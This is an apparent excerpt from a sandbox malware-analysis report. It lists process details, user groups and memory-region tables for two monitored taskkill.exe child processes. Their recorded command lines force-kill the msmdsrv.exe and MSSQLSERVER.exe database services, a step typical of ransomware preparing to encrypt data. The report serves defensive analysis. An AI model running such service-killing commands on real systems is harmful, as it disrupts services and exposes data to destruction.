pagefile_0x00000000004e0000 0x004e0000 0x00667fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000006a0000 0x006a0000 0x006affff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000006b0000 0x006b0000 0x00830fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000840000 0x00840000 0x0087ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000880000 0x00880000 0x008bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000920000 0x00920000 0x0095ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000009b0000 0x009b0000 0x009effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a00000 0x00a00000 0x00a3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000a70000 0x00a70000 0x00aaffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000ac0000 0x00ac0000 0x00afffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b30000 0x00b30000 0x00b6ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b70000 0x00b70000 0x00baffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00c30000 0x00c45fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000c50000 0x00c50000 0x0204ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002050000 0x02050000 0x0214ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02150000 0x0241efff Memory Mapped File Readable False False False
  • Region Actions
ntdsapi.dll 0x6a490000 0x6a4a7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a4b0000 0x6a545fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a550000 0x6a578fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a580000 0x6a5dbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a710000 0x6a71efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a720000 0x6a729fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8a0000 0x6a8aefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a8b0000 0x6a8c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6a8d0000 0x6a8dcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8e0000 0x6a914fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #26: taskkill.exe
+
Information Value
ID #26
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM msmdsrv.exe /IM msmdsrv.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:27, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:08
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa18
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 600
0x 5F8
0x 634
0x 510
0x 68C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x000f0000 0x000f3fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00120fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000130000 0x00130000 0x0016ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x001affff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x001b0000 0x0026ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000270000 0x00270000 0x00270fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002d0000 0x002d0000 0x002dffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x002f0000 0x00305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000310000 0x00310000 0x00497fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000004a0000 0x004a0000 0x004dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004e0000 0x004e0000 0x0055ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000560000 0x00560000 0x006e0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000730000 0x00730000 0x0082ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000830000 0x00830000 0x01c2ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001d00000 0x01d00000 0x01d3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d50000 0x01d50000 0x01d8ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d90000 0x01d90000 0x01dcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001dd0000 0x01dd0000 0x01e0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e10000 0x01e10000 0x01e4ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e50000 0x01e50000 0x01e8ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001e90000 0x01e90000 0x01f8ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01f90000 0x0225efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002270000 0x02270000 0x022affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000022c0000 0x022c0000 0x022fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023c0000 0x023c0000 0x023fffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a450000 0x6a4e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a4f0000 0x6a5dafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a7d0000 0x6a7e7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8a0000 0x6a8d4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a8f0000 0x6a8f8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a900000 0x6a910fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #27: taskkill.exe
+
Information Value
ID #27
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:27, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:08
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x16c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 204
0x 23C
0x 238
0x 244
0x 2A4
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000080000 0x00080000 0x0008ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00090000 0x00093fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000b0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000180000 0x00180000 0x00180fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001a0000 0x001a0000 0x001dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0023ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x002bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002c0000 0x002c0000 0x002fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000320000 0x00320000 0x0041ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000420000 0x00420000 0x005a7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000005b0000 0x005b0000 0x00730fff Pagefile Backed Memory Readable True False False
  • Region Actions
kernelbase.dll.mui 0x00740000 0x007fffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000800000 0x00800000 0x008fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000930000 0x00930000 0x0096ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000009a0000 0x009a0000 0x009dffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x009e0000 0x00caefff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000d50000 0x00d50000 0x00d8ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00db0000 0x00dc5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000dd0000 0x00dd0000 0x021cffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000021e0000 0x021e0000 0x0221ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000022a0000 0x022a0000 0x022dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002380000 0x02380000 0x023bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023f0000 0x023f0000 0x0242ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002480000 0x02480000 0x024bffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a4c0000 0x6a4d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a4e0000 0x6a575fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a580000 0x6a5a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a5b0000 0x6a60bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a710000 0x6a71efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a720000 0x6a729fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8a0000 0x6a8aefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a8b0000 0x6a8c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6a8d0000 0x6a8dcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8e0000 0x6a914fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
